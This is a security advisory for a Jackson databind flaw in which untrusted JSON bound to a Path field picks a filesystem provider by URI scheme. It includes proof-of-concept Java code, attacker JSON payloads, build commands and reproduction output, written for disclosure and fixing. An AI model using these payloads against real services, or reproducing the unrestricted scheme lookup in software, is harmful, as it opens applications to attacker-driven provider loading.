CVE-2026-19032
ADVISORY - githubSummary
Summary
A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().
Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.
Description
NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):
int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value); // attacker-controlled URI string
try {
return Path.of(uri); // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
final String scheme = uri.getScheme();
for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
if (provider.getScheme().equalsIgnoreCase(scheme)) {
return provider.getPath(uri); // attacker scheme selects & drives a provider
}
}
// no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}
The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.
Vulnerable Code Location
src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.javaSTD_PATH→NioPathHelper.deserialize;NioPathHelper.deserializebody (new URI→Path.of(uri)→ServiceLoader.load(FileSystemProvider.class)→provider.getPath(uri)).
Proof of Concept
Two PoCs are provided.
PoC 2 registers a custom
FileSystemProviderto show that attacker JSON reachesprovider.getPath(attackerURI)insidereadValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — thejar:/arbitrary-scheme path reaching theServiceLoaderfallback with no scheme restriction.
PoC 1 — sink reached (built-in jar provider).
com/poc/Vuln04_PathProvider.java:
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;
/**
* Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
* Path.of(uri) / ServiceLoader<FileSystemProvider>.
*/
public class Vuln04_PathProvider {
public static class Config { public Path workdir; }
public static void main(String[] args) throws Exception {
ObjectMapper mapper = JsonMapper.builder().build();
// jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
System.out.println("Deserializing (default mapper): " + json);
try {
Config c = mapper.readValue(json, Config.class);
System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
} catch (Throwable t) {
System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
}
}
}
PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider).
A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.
com/poc/EvilFileSystemProvider.java:
package com.poc;
import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;
/**
* A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
* scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
* application's classpath. Its static initializer and getPath() record that they executed,
* proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
* inside jackson's readValue.
*/
public class EvilFileSystemProvider extends FileSystemProvider {
public static volatile boolean STATIC_INIT_RAN = false;
public static volatile String GET_PATH_URI = null;
static { STATIC_INIT_RAN = true; }
@Override public String getScheme() { return "evilscheme"; }
@Override public Path getPath(URI uri) {
GET_PATH_URI = uri.toString();
System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
// A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
}
// --- remaining abstract methods: minimal stubs ---
@Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
@Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
@Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
@Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
@Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
@Override public void delete(Path p) { throw new UnsupportedOperationException(); }
@Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
@Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
@Override public boolean isSameFile(Path p, Path p2) { return false; }
@Override public boolean isHidden(Path p) { return false; }
@Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
@Override public void checkAccess(Path p, AccessMode... m) { }
@Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
@Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
@Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
@Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}
Registration descriptor —
src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:
com.poc.EvilFileSystemProvider
Driver — com/poc/Vuln04b_PathProviderMount.java:
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
/**
* Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
* META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
* classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
* (1) load the provider class (running its static initializer) and (2) invoke
* provider.getPath(attackerUri) -- all inside readValue, with NO application code.
*/
public class Vuln04b_PathProviderMount {
public static class Config { public java.nio.file.Path workdir; }
public static void main(String[] args) throws Exception {
System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN);
ObjectMapper mapper = JsonMapper.builder().build(); // default config
String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}";
System.out.println("Deserializing (default mapper): " + json);
Config c = mapper.readValue(json, Config.class);
System.out.println("Resolved Path = " + c.workdir);
System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN);
System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI);
boolean ok = EvilFileSystemProvider.GET_PATH_URI != null
&& EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled");
System.out.println(ok
? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)"
: "RESULT: NOT reproduced");
}
}
Execution Steps
The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath
# 0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
# 1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
src/main/java/com/poc/EvilFileSystemProvider.java \
src/main/java/com/poc/Vuln04_PathProvider.java \
src/main/java/com/poc/Vuln04b_PathProviderMount.java
# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
out/META-INF/services/java.nio.file.spi.FileSystemProvider
# 3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider # PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount # PoC 2
Reproduction Evidence
Executed against jackson-databind 3.2.1 (OpenJDK 25).
PoC 1 :
Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"}
Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`
at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"])
RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)
Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.
PoC 2 :
Provider static-init ran before deserialization? true
Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"}
>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1
Resolved Path = /var/folders/.../T/evilprovider-marker
Provider static-init ran: true
Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1
RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)
Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.
Impact
Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the
scheme-restriction gap.
Recommended Fix
- Restrict the resolved scheme to a fixed, hard-coded set ; reject
jar:and other schemes viactxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface. - Skip the
ServiceLoader<FileSystemProvider>enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider. - Document that
java.nio.file.Path-typed fields should not be bound from untrusted JSON.
NIST
CVSS SCORE
5.3mediumGitHub
CVSS SCORE
5.3mediumDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumAmazon
-
CVSS SCORE
N/AmediumChainguard
CGA-4vmq-jhhc-29xf
-
minimos
MINI-2392-6r7p-g9cg
-
minimos
MINI-24c2-8qp8-prgh
-
minimos
MINI-257m-6xqw-mm4w
-
minimos
MINI-25j2-vq58-45qg
-
minimos
MINI-279v-2xm2-wv8v
-
minimos
MINI-2j8f-76h9-cv9q
-
minimos
MINI-2jcx-5v5h-r4q6
-
minimos
MINI-2pfq-9vqf-r3r7
-
minimos
MINI-33rv-v8q3-rg98
-
minimos
MINI-36hx-52wh-mm69
-
minimos
MINI-3f7g-772v-j9rg
-
minimos
MINI-3fq4-cfqf-4j58
-
minimos
MINI-3qff-cfqf-4qr8
-
minimos
MINI-3r5h-92hf-xrwq
-
minimos
MINI-3x77-9vwp-rvm8
-
minimos
MINI-42vh-67j8-g3xx
-
minimos
MINI-49h6-vr33-8g76
-
minimos
MINI-4crc-xv9r-689j
-
minimos
MINI-4jc9-6mrv-hh59
-
minimos
MINI-4p6c-wf3h-5x93
-
minimos
MINI-4w79-cjm3-9764
-
minimos
MINI-4xwg-f589-q69v
-
minimos
MINI-54rg-r9rq-h2c9
-
minimos
MINI-56cj-vwhj-mgxg
-
minimos
MINI-57cx-f57x-7hf7
-
minimos
MINI-57j5-f4w4-g8w3
-
minimos
MINI-5hgg-hj52-44jg
-
minimos
MINI-5jm4-rjv8-gvjv
-
minimos
MINI-5r7j-325c-gw9h
-
minimos
MINI-655m-rx83-x849
-
minimos
MINI-6c94-hmpv-w34g
-
minimos
MINI-6hpm-j3pq-63g9
-
minimos
MINI-76pg-jjfg-xvx7
-
minimos
MINI-7pmq-m24r-rqmj
-
minimos
MINI-82mv-m8vf-85fj
-
minimos
MINI-83mp-9qg2-jwx8
-
minimos
MINI-8633-rh9x-463x
-
minimos
MINI-86qx-33cp-4q76
-
minimos
MINI-896v-rqvr-j6q6
-
minimos
MINI-8jhx-prmm-3766
-
minimos
MINI-8pm7-5hv4-3qpw
-
minimos
MINI-8w6f-v2x4-j6p8
-
minimos
MINI-9425-g433-pvm7
-
minimos
MINI-97w8-8q2c-6fpg
-
minimos
MINI-9q6w-w784-pjj8
-
minimos
MINI-c5qc-gj6x-pmxg
-
minimos
MINI-c8g2-wpm8-m8j6
-
minimos
MINI-chwf-wwqr-j6jj
-
minimos
MINI-f3m8-59p7-3rv3
-
minimos
MINI-f6p9-p8jj-84cr
-
minimos
MINI-f8g6-4m97-x6mh
-
minimos
MINI-fgrv-2rrx-4wq3
-
minimos
MINI-fv88-5jm4-89rv
-
minimos
MINI-g4x3-5pm2-7597
-
minimos
MINI-g7xp-8gg8-qx22
-
minimos
MINI-g85h-4mj5-5hv9
-
minimos
MINI-gq5p-c9gr-52g7
-
minimos
MINI-gq93-ch75-55qm
-
minimos
MINI-gv9g-43pf-xh2r
-
minimos
MINI-h249-65hv-8r3m
-
minimos
MINI-h6w9-m5rc-v73w
-
minimos
MINI-h84v-qq9h-rcjx
-
minimos
MINI-hgp2-m9r9-cvx9
-
minimos
MINI-hm6c-c993-c44m
-
minimos
MINI-jh4f-w3jx-5xcq
-
minimos
MINI-jjv9-864g-cpm5
-
minimos
MINI-jmq5-f66j-r8h7
-
minimos
MINI-jpq7-77qr-rf3x
-
minimos
MINI-jrjv-3vgc-jf48
-
minimos
MINI-m29h-mjj2-f555
-
minimos
MINI-m2f9-hwvq-r6gr
-
minimos
MINI-m4x9-wjc8-f448
-
minimos
MINI-m675-p2ph-q3jq
-
minimos
MINI-m842-xg4m-gfj9
-
minimos
MINI-mcwm-xrr3-cpv7
-
minimos
MINI-mhr9-gjv6-5r69
-
minimos
MINI-mhx4-xffr-wrjr
-
minimos
MINI-p274-hf42-5r7c
-
minimos
MINI-p27v-ch7h-2gm5
-
minimos
MINI-p2jv-q4vh-f2j9
-
minimos
MINI-p8f2-q26v-742x
-
minimos
MINI-p8fr-5qfm-rpc2
-
minimos
MINI-pch4-rqv3-mvm4
-
minimos
MINI-pcrp-jvqr-5q6p
-
minimos
MINI-phwh-jfh8-v4cg
-
minimos
MINI-pqvh-hr89-mgfq
-
minimos
MINI-pqx2-g3hm-j3j8
-
minimos
MINI-qjx6-rr4x-558q
-
minimos
MINI-qqr2-rpm2-v9ch
-
minimos
MINI-qvw6-888w-vjjq
-
minimos
MINI-r843-3r47-7w2q
-
minimos
MINI-rf8x-qx66-72j6
-
minimos
MINI-rg33-rq85-r7x6
-
minimos
MINI-rmf5-8hgr-27q3
-
minimos
MINI-rwqj-qhrm-7hgp
-
minimos
MINI-v86h-4jf8-fm6q
-
minimos
MINI-vvr4-p4fv-gw2j
-
minimos
MINI-w3rm-8q52-4wmh
-
minimos
MINI-w83x-qw9g-fgcc
-
minimos
MINI-wq8m-958c-wm42
-
minimos
MINI-wxjx-w7jg-95rv
-
minimos
MINI-x394-rxgv-6f4m
-
minimos
MINI-x4fx-xj98-g47w
-
minimos
MINI-x8m8-q94w-375h
-
minimos
MINI-xc7p-q77x-mxr3
-
minimos
MINI-xjxg-cxmq-cjpc
-
minimos
MINI-xrgq-639w-4jg9
-
minimos
MINI-xv92-7w9p-vg6g
-
minimos
MINI-xwxm-jxm5-2h24
-